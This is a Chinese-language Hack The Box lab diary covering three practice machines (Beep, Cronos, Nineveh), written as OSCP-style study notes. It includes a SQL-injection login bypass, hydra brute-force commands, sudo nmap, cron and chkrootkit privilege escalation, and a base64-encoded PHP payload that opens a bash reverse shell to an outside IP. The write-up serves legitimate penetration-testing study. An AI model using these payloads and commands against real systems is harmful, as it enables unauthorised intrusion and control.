废物的靶场日记 htb-oscp-beep+cronos+nineveh

HTB-oscplike-beep+cronos+nineveh

Beep

easy难度的beep 靶机IP10.10.10.7

sudo nmap -sC -sV -A --min-rate=5000 -p- -Pn 10.10.10.7
访问80后发现是一个elastix searchsploit搜到php/webapps/18650.py
修改参数后发现有一个extension需要修改但是不知道是什么勾八
google elastix extension后发现是sip extension
用svwar可以找到svwar -e100-900 10.10.10.7 -m invite 找到是233 用exp弹nc
拿到user的flag b870414fcf136f5caf96e4c08042510f

同时发现/home下面有个spamfilter没法进去
/etc/passwd看到一样的用户 spamfilter❌500:500::/home/spamfilter:/bin/bash

sudo -l看见包括touch很多都可以执行 但是文件系统是只读的所以行不通

但是有(root) NOPASSWD: /usr/bin/nmap 直接 sudo nmap --interactive提权打完
e7afffe6c966e1157804e05d99cd2ee0

Cronos

medium难度的cronos 靶机IP 10.10.10.13

sudo nmap -sC -sV -A --min-rate=5000 -p- -Pn 10.10.10.13
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

80打开是一个配置默认页面 dirsearch一下没啥东西 wfuzz出子域名admin.cronos.htb
发现是一个登录界面扫后台没扫出东西 其他地方也没角度 要么爆破要么sql注入了 admin’ or ‘1’='1 --+ 进去 后台里面有个PING 可以命令执行

那么就弹nc吧 弹回来拿到user的flag 51d236438b333970dbba7dc3089be33b

find / -perm -u=s -type f 2>/dev/null
看到pkexec 但是我已经痛改前非不用它了 什么勾八cve 爷将会凭着头脑破案
上传linpeas扫一下 什么内核提权通通不看 看到

• • • • •   root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
          

定时任务嘛这不是 哥几个今天给他上一课 这里vi会很恶心 nano artisan进去改成phpshell
弹root过来 拿下flag
1703b8a3c9a8dde879942c79d02fd3a0

Nineveh

medium难度的nineveh 靶机IP 10.10.10.43

sudo nmap -sV -A -sC -p- --min-rate=5000 10.10.10.43 -Pn
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))

wfuzz+dirsearch先扫https 扫到https://nineveh.htb/db/
可以登录同时版本是phpLiteAdmin v1.9

hydra -l true -P fasttrack.txt 10.10.10.43 https-post-form “/db/index.php:password=^PASS&login=Log+In&proc_login=^USER:Incorrect”

拿一个小一点的词典爆破就行 login: true password: password123 登录然后参照searchsploit找到的exp操作发现是不行的 权限不够
它把我们写入的php文件移动到了/var/tmp下 此路不通

那么我们回头去扫http://10.10.10.43/ 发现了/department
访问发现另一个登陆网站好像没有sql 又是爆破

hydra嗯跑 密码1q2w3e4r5t 进去看到
Have you fixed the login page yet! hardcoded username and password is really bad idea!
check your serect folder to get in! figure it out! this is your challenge
Improve the db interface.
~amrois
什么勾八 不管它 看到参数http://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt

这不LFI吗 那么能不能直接配合我们刚才传的php呢 答案是不行的
这边测试半天发现文件名必须包含ninevehNotes才能读

那么能不能把我们的php改名成ninevehnotes.php呢 是可以的
但是这里有个问题就是因为是根据sql来创建表 我们的payload里是不能出现单引号之类的一些字符 不然会报错

<?php system("echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjUvNzg4OCAwPiYx| base64 -d | bash")?>

省点事 直接base64绕过 上线nc 但是没权限拿到user的flag

提权逛了一圈 pspy之后发现一直在执行/bin/sh /usr/bin/chkrootkit

searchsploit看到了漏洞 在执行chkrootkit时会调用/tmp/update 所以我们写个有毒的update就行 拿下root权限
最后两个flag一起拿 打完
78f4a59aaacce4fc506ef8ace5ba1c5f
5b3e377b0546ed0f06deaee0c26005cb